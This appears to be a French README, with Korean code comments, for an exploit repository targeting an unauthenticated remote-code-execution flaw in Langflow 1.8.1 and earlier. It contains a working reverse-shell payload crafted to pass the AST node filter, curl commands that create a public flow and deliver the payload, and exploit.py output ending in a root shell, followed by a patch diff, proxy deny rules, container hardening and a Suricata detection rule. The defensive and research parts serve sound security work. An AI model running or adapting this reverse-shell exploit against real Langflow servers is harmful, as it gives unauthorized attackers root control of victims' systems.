
Exploit PoC pour une RCE non authentifiée dans Langflow <=1.8.1, incluant une analyse de cause racine au niveau du code source, une charge utile de reverse shell consciente de l'AST, un laboratoire Docker, un diff de patch et des règles de détection.
Avertissement
Ce dépôt a été créé à des fins de recherche en sécurité et d'éducation.
À utiliser uniquement dans un environnement d'entraînement isolé.
Toute utilisation sur des systèmes non autorisés constitue une violation de la loi sur les réseaux d'information et de communication et est passible de sanctions pénales.
| Élément | Description |
|---|
| CVE ID | CVE-2026-33017 |
| Logiciel vulnérable | Langflow (constructeur de workflows IA) |
| Versions affectées | Langflow ≤ 1.8.1 |
| Version corrigée | Langflow ≥ 1.9.0 |
| Type de vulnérabilité | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Inscrit |
POST /api/v1/build_public_tmp/{flow_id}/flow
Point de terminaison prévu pour la construction de flux publics, conçu pour être accessible sans authentification.
Chemin d'exécution confirmé en traçant directement le code source :
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
La fonction prepare_global_scope() n'exécute pas toutes les instructions du code soumis. Après l'analyse AST, seuls certains types de nœuds sont sélectionnés et exécutés :
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
Types de nœuds AST exécutables :
| Type de nœud AST | Exemple | Exécution |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Exécuté |
ClassDef | class ExploitComponent(Component) | ✅ Exécuté |
Assign | _r = os.system("id") | ✅ Exécuté |
AnnAssign | _r: int = os.system("id") | ✅ Exécuté |
Expr | os.system("id") (appel isolé) | ❌ Ignoré |
Conclusion : le payload doit impérativement être écrit sous forme d'
Assign(_r = ...) pour être exécuté.
Un simple appel de fonction (os.system("id")) est classé comme nœudExpret est filtré.
Au cours de l'expérimentation, plusieurs méthodes de payload ont été testées et la cause de chaque échec a été identifiée au niveau du code source.
subprocess.Popen + wait() (échec)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
Cause de l'échec : le thread de travail Langflow surveille la valeur de retour du composant et ferme de force le socket à l'expiration du délai. Le blocage de _proc.wait() devient alors sans effet.
os.execve() (échec)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Cause de l'échec : selon les règles POSIX, lors d'un appel à execve() dans un processus multithread, tous les threads, sauf le thread appelant, sont terminés → crash complet du worker uvicorn → HTTP 500.
os.fork() + execve() (échec)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Cause de l'échec : uvicorn détecte la fin anormale du processus enfant et redémarre le worker → HTTP 500.
threading.Thread(daemon=True) (échec)threading.Thread(target=_shell, daemon=True).start()
Cause de l'échec : un thread daemon=True est détruit lorsque le thread principal (worker Langflow) se termine. Le thread meurt avant même la tentative de connect().
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Raisons du choix de daemon=False :
daemon=True → détruit avec le thread du worker Langflow à la fin de celui-cidaemon=False → cycle de vie indépendant du worker → maintien de la connexion socketCVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
À exécuter dans le conteneur de l'attaquant :
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Options :
| Option | Description | Valeur par défaut |
|---|---|---|
--url | URL Langflow cible | Requis |
--lhost | IP de rappel du reverse shell | Requis |
--lport | Port de rappel du reverse shell | Requis |
--flow-id | UUID du flux public (généré automatiquement si omis) | Automatique |
--user | Identifiant administrateur | admin |
--password | Mot de passe administrateur | admin123! |
--no-listen | Désactive l'écouteur intégré (si nc externe utilisé) | False |
--timeout | Délai d'expiration HTTP (secondes) | 30 |
Sortie attendue :
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
À utiliser pour vérifier uniquement la présence de la vulnérabilité :
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc 리스너 (터미널 1)
nc -lvnp 4444
# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
| Élément | exploit.py | poc.py |
|---|---|---|
| Objectif | Obtention d'un reverse shell | Vérification de l'existence de la vulnérabilité (Blind RCE) |
| Vérification du résultat | Directement dans le terminal de l'attaquant | Journaux serveur / OOB |
| Écouteur | Intégré | Inutile |
| Cibles multiples | Non pris en charge | Pris en charge (--url-file) |
| Usage pratique | Preuve d'impact | Preuve d'existence de la vulnérabilité |
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← 클라이언트 입력 수신
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
...
)
langflow/api/v1/chat.py (vérifié directement dans le code source) :
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data 파라미터 시그니처에서 완전 제거
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← 하드코딩 None, 클라이언트 입력 완전 차단
source_flow_id=flow_id, # ← DB에서만 플로우 정의 로드
...
)
| Élément | 1.8.1 (vulnérable) | 1.9.1 (corrigé) |
|---|---|---|
Réception du paramètre data | ✅ Reçu | ❌ Supprimé de la signature |
| Exécution des définitions de nœuds client | ✅ Possible | ❌ Impossible |
| Source de la définition du flux | Corps de la requête client | Valeurs stockées en base uniquement |
| RCE sans authentification | ✅ Réussie | ❌ Bloquée |
| Réponse HTTP | 200 + connexion shell | 200 (build vide, aucun nœud) |
Raisons pour lesquelles une conception qui supprime le paramètre lui-même, plutôt qu'une simple validation des entrées, est la bonne approche :
취약한 설계: 클라이언트 입력 → 검증 → 실행 (검증 우회 가능성 존재)
패치 설계: 클라이언트 입력 → 완전 무시
DB 저장 플로우만 → 실행 (공격 경로 자체 제거)
pip install langflow==1.9.1
Emplacement du fichier : nginx.conf (à créer)
server {
listen 80;
# CVE-2026-33017 취약 엔드포인트 차단
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Attention : pour que la mesure soit efficace, il faut également bloquer l'exposition directe du port 7860 de Langflow sur l'extérieur.
Emplacement du fichier :
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
Sans flux public, le point de terminaison renvoie un 404, rendant l'attaque impossible.
Interdire la création de flux publics par politique d'exploitation, ou faire passer les flux existants en PRIVATE.
Sur la base d'un environnement EC2 :
인바운드 규칙:
포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)
Bloquer les rappels externes même si la RCE réussit :
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
Ou bien dans docker-compose.yml :
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
Blocage des syscalls dangereux par profil seccomp (langflow-seccomp.json) :
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
| Mesure | Type | Effet |
|---|---|---|
| Mise à jour 1.9.1 | Solution définitive | Suppression du paramètre data |
| Blocage Nginx/Apache | Blocage d'accès | Blocage du chemin d'attaque |
| Non-utilisation des flux publics | Blocage d'accès | Point de terminaison 404 |
| Groupe de sécurité AWS | Blocage réseau | Blocage total de l'accès externe |
| Blocage du trafic sortant | Blocage a posteriori | Blocage du rappel du reverse shell |
| Durcissement du conteneur | Limitation des dégâts | Blocage de l'escalade de privilèges / des syscalls |
Requête HTTP suspecte :
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Schémas dans les journaux du serveur Langflow :
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
Ce dépôt ne se contente pas d'exécuter un simple PoC : grâce à une analyse au niveau du code source, il établit en outre les éléments suivants :
Découverte du filtrage des nœuds AST
Vérifié directement par analyse du code source : prepare_global_scope() de lfx/custom/validate.py ignore les nœuds Expr. Cela a permis d'expliquer pourquoi le payload à simple appel de fonction des PoC publics existants échoue dans cet environnement.
Analyse des causes d'échec des payloads
Analyse des causes d'échec de 4 approches — Popen+wait(), execve(), fork()+execve(), thread daemon=True — du point de vue de la structure multithread d'uvicorn et des règles POSIX.
Vérification directe du code du correctif
Vérification directe au niveau du code source, dans chat.py de la version 1.9.1, du codage en dur de data=None et de la suppression du paramètre, puis analyse de l'intention de conception du correctif.